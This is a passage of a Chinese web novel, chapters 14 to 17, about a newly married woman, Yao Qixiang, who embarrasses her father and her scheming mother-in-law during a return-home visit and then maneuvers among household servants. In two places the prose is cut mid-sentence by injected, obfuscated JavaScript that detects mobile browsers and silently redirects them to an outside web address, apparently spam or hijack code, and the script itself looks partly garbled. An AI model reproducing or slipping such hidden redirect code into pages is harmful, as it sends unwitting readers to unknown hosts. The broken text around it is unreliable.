“什、什么?”姚成碧皱起眉,不可思议地看着姚戚香,“你、你说我与宋家的婚事,是我娘抢来的?” 看见姚成碧这个反应,姚戚香也是一愣,原来宋家那桩婚事,从头到尾,邓穗音都没有同姚成碧说啊。 须臾功夫,茗玉已然回来了,站在门外。 姚戚香扫了邓氏母女二人一眼,起身出去了,这件事就让邓穗音跟她亲女儿掰扯吧。 她来到屋外,示意茗玉近前,然后听见了一句话:“娘子,宋家的人在正厅。” 14.第14章 原来是宋家的人来了。 姚戚香眨了下眼,怪不得姚振廷和邓穗音都不让他们去正厅,那不是正好?她也不必费心去打听什么宴会了,宋家的人今天来了,她无论如何都要去见见。 姚戚香瞥了眼屋内还在争论的母女,抬脚就往正厅走,走出老远,她都跨出院门了,才听见身后的邓穗音叫嚷了起来。 姚戚香勾了勾唇,加快了步伐。 正厅坐着三人,宋世安,宋世安的父亲,以及当初为两家议亲出了份力的媒人,其中两人面上都是一副苦大仇深之色,唯有宋世安神色淡淡的。 “这桩婚事本就是你自己弄错,现在别家都知道我们与姚家定了亲,你又想反悔,传出去别人怎么看我们?” 宋世安:“父亲难道真想让区区五品的女儿配我吗?我们便是悔婚了又如何?若我们强行退亲,丢颜面的也只会是姚家,他们巴不得这件事能被好好商议,您又在怕什么呢?” “分明是你自己求娶的姚家女,现在你又看不上姚家了?你这不是胡来吗?” “我要的是她,不是姚家。” 姚戚香站在门外,将这几句话听得一清二楚,她回头看了眼急急追过来的邓氏,故意停了停脚步,等邓氏快要追上的时候,她才大步一迈进了正厅。 “我说今日母亲怎么没迎我来正厅坐坐,原来是这边有客人了。”姚戚香目光逡巡过厅中三人,掠过宋世安时他明显神情一动,可姚戚香并未停留,很快移开了目光。 邓氏好不容易从后面跟了上来,扶着门直喘气。 “这是哪家的客人?母亲怎么也不介绍一番。”姚戚香对着座上的长者虚虚一礼,“不过也无妨,我今日本就是来回门的,想必在母亲心里,我已经是外人了吧。” 姚戚香的目的达到了,宋世安听了她这番话,便知道她已嫁人之事,与姚家定亲是他自己不察,与她没有半分关系。 她无意真的留下待客,说完便要转身出去,却被一个声音叫住了。 “你等等!”宋世安站了起来,双眼直直看着她,动了动嘴唇似乎还要说什么话,可很快,他的目光错过姚戚香,落在了她身后。 姚戚香似有所觉,她转过身去,便瞧见了不知什么时候来到了正厅的孟扶危。 他的目光很冷,毫不避讳地盯着一脸张皇的宋世安,周身的气势仿佛凝成了实物,沉甸甸地压下来,连姚戚香都有些透不过气。 他怎么过来了?她原本只想几句话了结了与宋世安那点纠葛,转身就出去的,没想到这就被孟扶危撞见了。 她皱了皱眉,有些担心,如果孟扶危因此误会了些什么,那她在孟家的日子恐怕就一落千丈了。 不行…… 姚戚香的身体已经比大脑更快一步做出反应,她抓住了孟扶危的手,低低道:“他们是来与姚家商议亲事的,横竖与我们无关,我有些饿了,先去吃饭吧。” 说完,她又觉得自己这样似乎有些明显,又轻声叫了句:“夫君。” 孟扶危一怔,他垂下黑玉似的双眸,先是看向握着自己的那只手上,又顺着手臂看向姚戚香,但也只是在她脸上停留了一瞬,便松开了她的手转身出去了。 姚戚香抿了下唇,摩挲着被松开的指尖心里一沉,孟扶危似乎比她想象中的还要生气,想来是她方才那番话,不仅没有瞒过他,甚至有些弄巧成拙了。 可宋世安就坐在这儿,她还能怎么解释,她总不能说根本不认识他们,万一让宋世安听到了咬上来,那就…… 姚戚香没再去看宋世安的表情,只跟着孟扶危快步离开了正厅。 偏厅已经备下了饭菜,为着孟扶危的到来,姚家今日的饭菜准备得很丰盛,不过姚戚香尝过了孟府厨房的菜,便觉得这些菜色也不过如此了。 想想真是可笑,这桌子上的这些菜,她从前一年到头也吃不了几回,没想到只是嫁了个人,竟有些看不上了。 既然已经见过了宋家的人,这时候就不好撂着他们不管,没一会儿姚振廷便亲引着宋家的人到这边来了,口中满是歉意:“家中还有一位女儿婚期在即,正好撞在了今日,还请……孟司使见谅。” 姚振廷嘴里直接绕了一个弯,终究是没能叫出那声贤婿来,不用猜他也知道,明眼人都看得出来,他那女儿与孟家这位相处得并不好。 不过无妨,再不好,等他那长女诞下了孟家的孩子,将两家的姻亲捆结实了,孟家便是不想认也只得认了。 几方坐定,各家又都说了些没什么意思的场面话,才纷纷夹起菜来。 今日她回门,常氏给她送来的那两个女使也跟来了,此刻就站在这偏厅中等着伺候,名为伺候,实为监视她罢了,说不定还连带监视着孟扶危。 姚戚香当然没忘记自己答应了她这婆母要说什么,于是等她瞧着姚振廷夹了几筷子菜后,便直截了当开口:“父亲,我婆母说想让您给我那小叔子孟元德买个官,您那边方便吗?” “咳咳咳……”姚振廷剧烈地咳嗽起来,差点没被噎死。 桌上的宋父莫名其妙地看了一眼宋世安,神色惊异。 不止宋父,连带着邓穗音也诧异地朝她看来,一桌子的人,只三人坐得最稳,一个是她那没什么表情变化的夫君,一个是寒着脸的宋世安,另一个是只顾着吃喝的姚太初。 “你、你、你……”姚振廷不可思议地看着她,半天说不出一句全乎话来。 姚戚香只当浑然不觉,笑道:“婆母也是尽心的人,她本就是菩萨般的心肠,开一回口也不容易,您瞧,为了求您办事,还送了一大箱金银来,说是给您办事的花销,您瞧瞧够不够。” 什么脸面不脸面的,这玩意她早就不要了,既然她不要了,那这些人也都别想要。 而今还有宋家的人在,真是天菩萨佑她,这要是传出去常氏这个婆母逼着她这个新妇求娘家给自己儿子买官,那名声一定很好听。 嘻嘻。 厅中不止有孟姚两家的下人,还有一个宋家的,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440880|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻正抬了头,呆呆看着姚戚香,满脑子都在想——这也行? 春竹与春绿对视一眼,都从对方眼中看到了浓浓的无语。 “当然了。”姚戚香道,“您要是有什么难处,也直说便是,女儿也不是那等惯会绕弯子的人,您对女儿一片关心,想必这事你是愿意办的。” “你、你……”姚振廷终于提上来了一口气,他立刻严肃道,“你可知你在说什么!买官那是大罪!你胡说些什么?我怎么可能会用这种事让你去讨好你的婆母,那孟主母一向通情达理,怎么会对你提出这种要求!?” “怎么不会?”姚戚香惊讶,“这就是婆母亲口说的呀,她连儿子都让我见过了,婆母明明说的是如今的朝局买个官做也没什么,怎么到了您口中就是大罪了?我那婆母娇滴滴的一个妇人,您可别欺负她!” 姚振廷翻了翻眼皮,险些上下气接不上来,晕死过去,邓氏见状连忙给他顺气,一边看向姚戚香道:“香儿你说什么呢!你从小便忤逆不孝,本以为嫁了人总该懂事了,怎么跑到家里来乱说话!你是存心借着你婆母的名义,要害死你爹爹吗?” 姚戚香不理她,只看着姚振廷,不停地说:“父亲,爹爹,买个官吧,买吧!” 她双眼甚至流露出一丝期盼,好像今日死皮赖脸也要姚振廷答应她的请求,外人见了,很难不联想到若她不这样做,那回了孟家的后果是什么。 姚振廷看了看孟扶危,只见这本是他女婿的人一派漠然之色,好像这饭桌上发生了什么都与他毫不相干,简直快要将看不起姚家这桩婚事摆在明面上了。 姚振廷猛地拍了下桌子,这厅中终于安静下来,他又气又恼,恨铁不成钢地看着姚戚香,指着她正要说出什么话来,就听一旁的宋世安开了口。 “看来这孟家也不是什么良配,姚姑娘才刚嫁过去,就被逼着做这些事,低声下气到这种地步,您二老看着,难道都不心疼吗?”宋世安这话是对着姚振廷夫妇二人说的,可他双眼却紧盯在孟扶危身上,像是要孟扶危给出一个说法来。 可后者却看也未看他一眼,仿佛他只是说了一句无关紧要的话。 孟扶危高高在上,仿佛这里发生的一切,都与他无关。可他只用坐在这里,便如一块□□磐石,姚振廷既无法撒气给女儿,给孟扶危的妻子,也无法咒骂常氏,咒骂孟扶危的继母。 憋屈和恼恨,他只能生生咽了,甚至还要顾念着宋世安的话,放缓了声气又咬着牙道:“此事,为父实在不能应你,若因此,你婆母为难你,你便尽管……回家来便是,我姚振廷纵是、总是一介小官,也不会在这种事上犯糊涂!” 哈哈,姚戚香简直都想笑出声来了,这是多么好看的一出戏!亏得今日宋家的人在,才能如此更上一层楼的精彩! 姚戚香眼神崇敬,感动道:“父亲竟然如此为女儿考虑,女儿感动至深,父亲真是佳父贤臣,文官清流啊!” 这顿饭,一桌子人或许没一个高兴的,可姚戚香高兴极了。 15.第15章 经此一事,饭桌上大半人都没了胃口,姚戚香没有委屈自己,吃了个八成饱便将筷子放下了,她看见了姚振廷从刚刚开始便再也没有动筷子,也看见了邓穗音始终黑着脸,可她只当什么也没看见。 见她搁下筷子,邓氏忍不住阴阳:“香儿还真是好胃口,从上桌开始我看你这张嘴就没停过。” “母亲过誉了。”姚戚香瞥向姚太初,“我看弟弟才是一直没停呢,母亲也别光在意我,也多关心关心自己的儿子才是。” 邓穗音动了动嘴,还想说些什么,却见一旁的孟扶危起了身,他神色淡淡,面无表情地扫了邓穗音一眼,她便什么话都说不出了。 “时候不早了,我们先回去了。”孟扶危道。 姚振廷醒过神来,下意识开口想要留人再坐坐,便已然听见了孟扶危的后半句:“云韬,备车。” “是。”云韬领命退下。 姚振廷闭了嘴,一时无话,与宋家的婚事他们还没有商定,送走了孟扶危也好。 他只能站起身,客套了两句送客之词,目光落在被小厮搬进来的一箱箱礼物上,心里又是一惊忙道:“买官的事,下官真的办不了,还请孟司使快快将东西尽数拿回吧。” “岳父放心。”孟扶危的声音冷冷的,“家中出了忤逆圣心之事,我绝不会放任不管,孟府其余拜礼均被收走细细盘查,放在这里的是我专程为岳父准备的。” 姚振廷升任五品也就是近两年的事,前两年他为了升官到处打点也耗费了不少金银,此刻看到院中摆着的几个大箱子,纵然面上不显,心中却不免欢欣鼓舞。 孟家百年大族,几箱金银定然不在话下,就算不是金银那等俗物,这里面的东西定然都价值不菲。 “让孟司使费心了。”姚振廷笑呵呵的,他今日心情如同山峰一般起伏不定,眼下终于能有件事让他高兴高兴了。 从始至终,姚戚香都跟宋世安保持着好几步的距离,就算如此,她也能感觉到这人目光如炬正盯在她后背上。 可姚戚香知道,宋世安这样的人,怎会因为别人自毁前程?他不敢动她,只因她是孟扶危的夫人。 反正今日她已经把自己想解释的在宋世安身前分分明明地展现了,从今以后也不会再与他有任何瓜葛,姚戚香心中向来不会放这等无关紧要之人。 等小厮搬完了东西,孟扶危道了声告辞便径自往前走了,姚戚香也象征性对着姚振廷与邓氏拜别,跟在了孟扶危身后。 她只觉得孟扶危好似脚下生风一般,加快了好几步才勉强跟上。 这人……不会还在因为宋世安的事生气?哦对,刚刚饭桌上宋世安还帮她说话来着。 姚戚香忍不住开始想继续让孟扶危生气下去的后果,如果她放任不管,最坏的结果,便是孟扶危不再考虑她的想法,不再照顾她的饮食,不再给全她的面子,而且,这才是她嫁过来的第三日…… 思来想去,姚戚香觉得眼下服个软也没什么不行。 她轻轻扯了扯他的袖子,还没酝酿好怎么说呢,就见孟扶危已经停下,转身朝她看来。 “……你生气了?”姚戚香干巴巴吐了一句。 “未曾。”孟扶危答了她,此时两人正巧走到了马车跟前,他便顺势递上一臂,对她道,“上去。” “……哦。”姚戚香只能扶着他的小臂上了马车,他说没生气,她硬要解释一番好像反而奇怪,也罢,且先看看回去之后她的待遇有没有变化吧。 姚府之中,宋家的人先被请去了正厅等待议事,邓穗音寻不到姚振廷的人,急急忙忙转到后院来,才看见姚振廷一双眼睛都吸在了孟家送来的那几箱礼上。 孟家出手大气,可她的亲女儿成碧却攀不上那么高的门第了,眼看着当下姚振廷全然被这几箱东西勾住,一副不在意女儿与宋家亲事的样子,邓穗音一阵来气。 她沉了脸,站在姚振廷身后道:“宋家还在厅上等着呢。” 这大约是邓穗音生平第一次用这样的语气跟姚振廷说话,她捏紧了拳头,等着姚振廷的反应,然而后者却并未发觉她的情绪,只是招了招手。 “快来打开瞧瞧,我那贤婿究竟送了什么好玩意过来。” 邓穗音冷脸站着不动,姚振廷也没有理她,自顾打开了一个箱子,只见里面齐齐整整都落满了书。 姚振廷一愣,他退了两步,立马又开了另一个箱子,没想到又是满满当当几摞子书,姚振廷不信邪,一口气把箱子全都掀开了,可无一例外,所有的宝箱里装着的全部都是书。 甚至最后一个箱子上还落着一张字条,姚振廷展开一看,上面写着:岳父书香门第,文官清流,听闻生平最爱书,小婿罗网天下寻得的珍奇书卷尽数在此,且已尽在陛下面前过了明路,岳父不必推托,尽可笑纳。 姚振廷眼前发黑,也就是说这几大箱子全都是书,纵是真有值钱的,可陛下看过了,他也绝不能拿去变现,还要小心珍藏、精心呵护。 姚振廷只觉得今日他满脑子都是“文官清流”这四个大字。 素来了解他的邓穗音怎会不知姚振廷此刻在想什么?她见状冷冷一笑,顷刻间又换了副颜色走上前去,笑道:“这孟家这样的礼也拿得出手?” “你懂什么!”姚振廷本来就气,听了她的话更不满了,“这才是文臣相交最应见的礼,哪里能同 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姚戚香瞥了眼远处被云韬押解着的那几箱来自常秋兰的财物,心情愉悦得嘴角都要扬上去了。 谁说她这夫君没用的? 心情一好,嘴也就甜了,姚戚香看着孟扶危,笑道:“我等夫君回来一起吃饭。” 她笑眯眯的,这种表情在姚戚香脸上从不多见,孟扶危看了两眼,一句话也没说又把眼移开,转身走了。 姚戚香:“……” 木头。 回了房中,姚戚香素有午睡的习惯,她刚上了床正打算睡下,就见茗玉静悄悄走来,在她耳边道:“娘子,春竹往云栖堂去了。” 姚戚香眨了下眼,横竖常氏给的“赃物”已经被孟扶危拿走了,她早就料到那二春必会通风报信,并不着急,只是点点头表示知道了,让茗玉半个时辰后再叫醒她。 马车辘辘,一道身影快速闪过,快得几乎无法用肉眼辨清身形,来人一溜烟上了马车,半跪在靠近车门的位置,笑道:“主子真是神了!您怎么知道那姚振廷开箱的顺序?我看他最后看到那张字条的时候,脸都绿了,哈哈!那邓氏说嘴,他还驳了,还要打肿脸称您的礼好呢!” 天禄说完,静坐车中的孟扶危却没有任何反应,倒像是在沉思着什么似的。 有情况?天禄闭了嘴,安静候话。 “有件事。”半晌,孟扶危道。 天禄立刻直起身子,凝神细听。 孟扶危:“晚上我回府吃饭。” …… 天禄:“……” 天禄:“……啊?……哦。” 16.第16章 歇了一晌,姚戚香被茗玉唤醒时天色已然暗了许多,她懒懒起身,问茗玉道:“云栖堂那边没派人来叫我过去?” 茗玉摇了摇头,回答:“春竹去了约有一炷香的时间,也就回来了。” 怎么回事?常氏不应该叫她去兴师问罪吗?怎么没来? “娘子,有件事,您或许想要知道。”茗玉道,“兵书尚书赵家设宴,下午的时候过来递了请帖。” “赵家?”姚戚香只知道一个赵家,“是那个为了孟扶危寻死觅活的赵家吗?” 茗玉有些尴尬地点了点头。 “谁设的宴?谁递的帖子?”姚戚香问。 “是赵家主母,马氏。”茗玉答得详尽,“马氏是前怀化将军的独女,性子高傲,赵家也只赵心芜一个女儿,很受疼爱。” 姚戚香沉默,这跟鸿门宴有什么区别?赵家姑娘刚为着孟扶危寻了回死,没两天她娘就要设宴了,请的人当中还有她。 这十几年来,她因邓穗音这个继母打压,从未能交到过什么朋友,又因孟家这场婚事被推到了风口浪尖上,成婚当日有些什么难听的话,她也不是一概不知的。 看来,赵家这场设宴,只要她去,便必定会孤立无援。 原本姚戚香让茗玉打听设宴之事只是想借个机会将她嫁人之事散播到宋家,运气好的话她甚至能直接遇见宋家的人,可现在这桩事已经完全解决了,她就没有了再去赴宴的必要。 “娘子,用饭了。”门外传来春竹的声音。 姚戚香起了身,缓缓走向偏厅。 天色已经黑了,廊下点了灯,姚戚香满心想着赵家的事,走进偏厅愣了下,才发现里面已经有人了。 是孟扶危,他身上穿着乌青色的长衫端坐着,屋内点着萤黄的灯,微金的光泽笼罩住他半身,晕染出几分难得的柔和来。 姚戚香心中突然有了种感觉——她是外出归家的妻子,而孟扶危是等她回来的丈夫。 虽然他们本就是夫妻,可这两日姚戚香却是第一次有了这种感觉。 “你回来了?”姚戚香走进屋里,他不是说不必等他吗? 难不成,还真是因为她说要等他回来一起,孟扶危才回来的? “嗯。”孟扶危道,“礼部那边只扣下了东西,后面还要慢慢查,并未耽搁太久。” 噢……那果然就不是因为她那句话回来的了,怎么想都不会是。 “此事……应该牵连不到姚家吧?”姚戚香斟酌着问。 孟扶危:“不会,岳父未曾收礼,没理由牵连。” 姚戚香有些失望。 她垂下眼,看向今日的晚餐,菜式都是新的,唯有一道是老熟人,是姚戚香很喜欢的那道炸鱼,鲜香酥脆,很是可口。 赵家的事多思无益,姚戚香将之抛于脑后,尽心享用起晚餐来。 正尽兴着,到了一半,春竹快步走来,猛地站到了离桌子五步远的位置,突然开口:“主母说,内宅之中,礼不能废,从明日起,请娘子晨昏定省,日日谨记。” 姚戚香面色不动,她说这常氏怎么一个下午也没有动静,原来是在这儿等着她呢,每日晨昏定省,怕是等着仔细磋磨她呢。 这是孝道,姚戚香没理由拒绝,她起身道:“儿媳知道了。” 春竹得令退下,临走时还往孟扶危的方向瞄了一眼。 姚戚香坐回了位置上,连吃饭的速度都慢了下来。在姚家的时候,邓氏看见她都嫌烦,自然不会拿这种东西折磨她,可她这婆母显然不是这么想的。 为人继母,为人婆母,真是两种截然不同的心态。 用过晚饭,备水、沐浴完毕,已经是半个时辰之后的事,姚戚香躺在床上,听着后间传来的隐隐约约的水声,心中摇曳不定。 今晚……孟扶危会不会呢? 她记得前日,孟扶危才去青楼解决过,应该不会要得如此频繁吧? 姚戚香不在意丈夫的忠贞,她甚至不在意丈夫心里有没有别人,比起这些,她更看重的是这些东西会不会影响到她的打算。 突然,水声停了,姚戚香下意识连呼吸都慢了半拍,脑中登时响起一个声音:装睡! 然后姚戚香面朝墙壁转过了身,紧紧闭上眼睛。 别的都好说,她能九转十八弯想出千万个理由来,可这个……她真想不出,谁让她在敬茶那日当众利用了孟扶危呢? 轻慢的脚步声从身后传来,姚戚香后背一热,总觉得孟扶危已然靠了过来,已然离她近了…… 要命。 “姚戚香。”他开口。 这声音的距离比姚戚香想象中的要远,姚戚香深吸了口气,只能睁开眼睛看向身后,看见他那双如子夜般漆黑深邃的眼眸。 这是她第一次从孟扶危口中听见她的名字,凉丝丝的,没有什么情绪,姚戚香便也拿捏不准孟扶危眼下的想法。 “怎、怎么了?”姚戚香尽量理直气壮。 实在不行,她就把邓氏卖了,说出嫁前邓氏跟她说他不行,她是顾及着他的感受这才从不主动……怎么能怪她呢? 孟扶危那漆黑的视线停留在她脸上只一瞬,很快他贴着床沿坐了下来,开口道:“松风堂与孟府各处独立,内务自理,之前是交由钟嬷嬷打理,她自幼在中宫服侍,见多识广,明日我让她来教你管账。” 姚戚香愣了愣,“噢……好的。” 孟扶危居然放心把松风堂的账目交给她?先别说她之前从未学过这方面的东西,最紧要的是,她是常秋兰选进来的人啊。 他就不怕她说出去?万一以后天气长久,常秋兰真捏住了她什么把柄,要挟她吐露一些什么重要的内情,那她也可能真会吐露的。 “她为人严苛,你要仔细应对。”孟扶危交代了一句,不及姚戚香回答,他便熄了手边的灯,屋里一下子陷入昏黑之中。 一时间,姚戚香满脑子都是那钟嬷嬷的事,早忘了什么圆房不圆房的了。 翌日清晨,姚戚香正沉浸在梦乡之中,突然被一声高昂的叫声惊醒。 “姚娘子!是时候起床过去给主母请安了!” 是春竹。 姚戚香爬起身,一双乌溜溜的美目中闪过一丝幽光,这两个贱丫头,她一定要趁早料理了。 起了身,梳洗更衣完毕,姚戚香便来到了云栖堂。 这个时候天刚亮了一半,孟府的下人们正在洒扫,姚戚香一想到今后都睡不了懒觉了,就觉得自己怎么也要想个办法。 就在当日敬茶的正厅,常氏已经坐好了等候她来,姚戚香心想还真是难为她这婆母了,一大清早就要梳洗端庄坐在这里,真是损人不利己。 “婆母。”姚戚香上前行礼。 她蹲下身还未起来呢,就听见上头一声轻蔑的哼笑,常秋兰道:“你娘家真是没教你什么规矩,你竟不知晨昏定省,来了是要下跪的。” “……” “噢!”姚戚香恍然大悟,“是吗?多亏了有婆母在,儿媳还真不知。” 常氏眼神冷冷的。 姚戚香干脆利落跪了下去,道:“儿媳给婆母请安!愿婆母身子康健。” 她跪下了,常氏却并无意让她起身,而是慢条斯理品了口茶,才道:“你可知你办了一件蠢事?” 姚戚香茫然地问:“什么蠢事?” “装的什么蒜。”常秋兰冷笑,“昨日回门,你是如何说如何做的,春……我可全都知道了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452080|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “婆母自然是要知道的,儿媳这不就是在为婆母办事吗?”姚戚香道,“不过昨日,我爹说买官之事,现在还是朝廷明令禁止的,婆母您是不是听错了消息?” 常秋兰面色僵冷,看着姚戚香这样的表情,说着这样的话,她只觉得这丫头从上到下都透着一股蠢劲儿。 这种事,哪怕是有个半点心眼的都知道是该藏着掖着说的,可她姚戚香倒好,大庭广众之下开口,还叫宋家的人听了去!她让姚戚香带回去的金银成了佐证,监察司那边已经派人来查问过一回了! 常秋兰真是后悔,偏听了那些谣言,还以为这个姚戚香是个什么伶俐货色,竟是这样猪油蒙了心的蠢货! 一个全然无用的儿媳,留着又有什么用呢? “你瞧瞧你,说的这是什么话。”常秋兰道,“我竟不知,我让你生了这样的误会,我什么时候让你去买官了?” 她的声音平静而缓慢,一个字、一个字地压在姚戚香身上。 “是你自己误会了我的意思,却又闹出这样的笑话来,现在已经有人查到了我这边,姚戚香,你是自己认罪,还是要我帮你认?” 这这句话落下的同时,姚戚香心中就已经在盘算对策——常氏打算将买官的罪名扣在她的头上。 眼下再分辩她究竟有没有误会常秋兰的话已经没有任何意义,她昨天在姚家说的话很清楚,是要给孟元德买官的,首先她一个刚嫁过来的新妇,没两天就张罗自己父亲给小叔子买官,这怎么看都是一件极蠢的事。 而且那些银钱不是她的,这常氏总不能抵赖。 买官一事横竖没有落成,监察司再查也查不出什么来,这种事一般人只会草草了之,很快就要把常氏那些金银给她还回来。 最后,她昨天在姚家说的话句句维护常氏,可没有说半句不是,这件事顶破天下来,外面的人最多说她愚孝没脑子罢了,治罪却是远远谈不上。 所以,常氏这依然是在恐吓她。 她毕竟是孟家娶回的正妻,哪怕真有什么也没有刚过了回门就休妻的道理,常氏眼下手中无人,只能再拿捏拿捏她。 扑通一声,姚戚香匍匐在地,她慌张道:“婆母!难道是儿媳听错了?儿媳真以为是您想买官!为此还死命求了父亲,险些得罪了他,婆母您救救我!” 从昨日下午,姚戚香就在思忖着常氏这边的对策了,想了半天,还是以不变应万变,横竖在常氏心里,她已经是个不聪明的,她就假装被常氏吓住了,等这次的风波平定了,再做打算。 “救你?”常秋兰又是一声冷哼,“你说你连几句话都能听错,我救你还有什么用呢?孟家可不需要你这样没用的媳妇。” “我错了,我错了婆母!”姚戚香眼圈泛红,“儿媳真的错了,可儿媳全然没有别的想法啊!您帮帮我,以后您让我做什么,儿媳才做什么,再也不敢犯错了!” 常秋兰要的就是她这句话,她看着姚戚香,恩赦一般地道:“听着,这次是我破例帮你,下不为例,我只给你一次机会,若还是这般令人不满,你知道后果的。” “多谢婆母!多谢婆母!还请婆母明示!” 常秋兰:“我儿不会买官,做这种不入流的行当,他已然报名了今年的乡试,想必很快就能报给我一个好结果了,你身为他的长嫂,自然有监护之责,理应为他出谋划策。” 这是要她去打点负责乡试的官员了?这常氏还真是一心都牵在她儿子身上,来来去去就是这些目的。 “儿媳明白了!请婆母放心!这次儿媳一定不会让婆母失望!”姚戚香再次拜下,她伏地时,眼中不觉流出一丝深浓的笑意。 因为她已经想到了一个绝妙的主意。 17.第17章 “不过,还有一件事。”姚戚香在匍匐之中微微抬头,“婆母,我实在没有宽裕的银两……” 常氏打心眼里看不上她这小家子气的模样,摆摆手道:“让你的女使来我这儿拿。” 约莫待了一炷香时间,姚戚香才被常氏放走,回了松风堂,她还没吃早饭,又困又饿,还好茗玉贴心,早早为她备下饭食。 姚戚香一边吃东西,一边假意看向远处,实则是在观察春竹和春绿两个丫头,这二春若是不处理了,她这松风堂岂不是像漏风一般?倘若一时不慎未能严防死守,松风堂的一些东西都不用她拿去向常氏投诚,这两人就能给她抖落干净了。 届时,孟扶危还能不将这事怪在她的头上? 这两日,她暗中瞧着,似乎是春竹在常氏那边更得脸些,而春绿则更加默默无闻。 这人与人之间的关系,不就那么几回事么? 吃完了早饭,姚戚香放下了筷子,出声唤道:“春绿,你过来。” 远处不知在小声嘀咕什么的二春齐齐回头,春竹看了春绿一眼,微微扬了扬下巴,春绿这才往她这边走来。 只这一个细微的动作,姚戚香便知,这二人之间,春绿是受春竹管教的。 “娘子。”春绿过来行礼,脸上神情淡淡的。 姚戚香一边观察着她,一边笑着跟她说话:“你几岁了?” “回娘子,奴婢十六。” “是吗?那倒是和我一般大,你家里可还有别人?将来的婚事,是由谁给你做主啊?”姚戚香随意闲扯了几句。 果然,春绿立刻便有些警觉:“娘子,您问这些做什么?奴婢只管伺候好您便是。” “没什么,我也是随便问问。”姚戚香笑,“其实我叫你来,是想同你商量件事。” 春绿:“娘子请说。” “你也看到了,我这院子刚送走了两个不争气的,眼下正是急需用人的时候,可是茗玉呢,平日需要时时在我身侧服侍,很多事她都抽不开身,夫君让我来管松风堂的账目,我一个愣头青,哪里顾得来那许多东西,实在是需要一个掌事的大丫头来替我把持着院里的许多事。” 她说到这里时,春绿的神情有些懵懂。 姚戚香继续:“我看你,平日是个沉默寡言的,可见心细如发,谨言慎行,是真正能够干大事的人!我想把这松风堂的掌事大丫头之位传给你,你可愿意?” 说完这些,春绿便显然有些愣住了。 因在她的认知里,她只需好好听春竹的话,平日里虽然领的赏银比春竹少些,可两人的月钱还是一样的,春绿自知不如春竹脑子灵活,少拿钱她也认。 可现在,这松风堂的姚娘子居然说,就喜欢她这样话少的,想对她委以重任。 说实话,春绿脑子里第一个想到的,便是春竹会不会因此不快?可她脑子里第二想到的,是春竹今早从云栖堂回来,戴在头上的那只红珊瑚发钗,春竹跟她说,那一只钗都能顶上她们大半年的月钱了…… 她想看一看、摸一摸那红珊瑚,春竹都不肯。 姚戚香看得出,春绿已经开始动摇了,没人不想往高处走,尤其是为奴为婢的,大多终其一生也干不出个什么名堂来,若不是主家心腹,这一辈子也就不过如此了。 现在她告诉春绿,给她一个当掌事大丫头的机会,春绿怎会不动摇? “无妨。”姚戚香没有急着要一个答案,“此事,你可以自己再考虑考虑,不愿意也无妨,我就是觉得,你做事比春竹稳当些,我心里能更安稳些罢了,你也知道我这个人,说话不喜欢绕那许多弯子的,是便是,不是便不是,等你拿定了主意再来找我不迟。” “好了,去吧。”姚戚香笑着挥挥手,“我也有些累了,想去歇一歇。” 春绿转身走了。 她转身走,一路回到春竹身边,一直闷不作声。 春竹不耐烦地推了她一把,急道:“问你呢!死丫头,她到底跟你说了什么?” 春绿抬眼看着春竹,道:“问我知不知道那钟嬷嬷是个什么性子,我说不太清楚。” 因她表情实在自然,说话的语气又格外平静,而且还用了一个绝佳的理由,春竹根本没有怀疑。 春竹只是嬉笑:“等钟嬷嬷来了,她怕是真要吃些苦头了!” 两人站在一片树荫里,叶间照下的阳光洒在春竹脸上,她笑着,头上的红珊瑚钗子随着她的动作一颤一颤。 春绿站在暗处,面上是一片阴霾,她神色平静,心中却想:姚娘子说得对,春竹这个人,确实不如她稳重,也太喜形于色了些。 歇了会儿觉,茗玉叫醒了姚戚香,说是钟嬷嬷来了,已经在院子里等着了。 姚戚香听了便觉得头大,孟扶危说得好听,这管账哪里是能轻易学会的?这钟嬷嬷怕是要常来了。 她连忙起身整理了衣服,打开门后,就在院中瞧见一位身板干练眼神精明的老妇人,她面相极有精神,站得笔直,一见她出来便微微礼道:“姚娘子安。” 姚戚香没有忘记孟扶危说这钟嬷嬷以前是伺候中宫的,她哪里受得起这一礼,忙上前两步将之扶起,扯出一个笑来:“钟嬷嬷快请起,我以后还要多听您的教诲呢。” “既然您都知道,那我们现在就开始吧。”钟嬷嬷道,“娘子可知晓妇人掌管内事,要管的都有哪些东西?” 姚戚香一哽,尝试着道:“大约是奴仆的用调,吃穿的花销,出入账目的明细,以及上下的规矩?” 她答完了,钟嬷嬷神色没有丝毫变化,平淡开口:“娘子说的只是大概,须知道,仆役的用调细分为哪些,下等仆役和上等管事差别在哪里。说到吃穿,又要知道四时节气的膳食有些什么讲究,什么菜式配什么酒、用什么炊具、怎么个吃法,材料上又有哪些讲究;价贵的布匹与价廉的布匹各有什么优劣,坊市的定价几何,哪种料子用来做什么最好……至于这些,还只是基础,最要紧的是财物银钱,这里头的学问才是最最冗杂的。” 姚戚香眯了下眼,只觉得脑子胀胀,禁不住想,她一个给人做儿媳的都要知道这些,难道常氏早就对这些十分精通了? 想到此处,姚戚香不由得对常氏生出几分敬佩,虽然常秋兰这个人是不怎么样,可要懂得这些乱七八糟的东西,那也很牛了。 反正……邓穗音是不懂的,邓穗音是从妾被抬成了正室的,她最精通的便是男女之间的那些事,靠着这些给自己挣了一个姚家的主母做,做了主母,生下儿子之后,她便自然而然地懈怠下来。 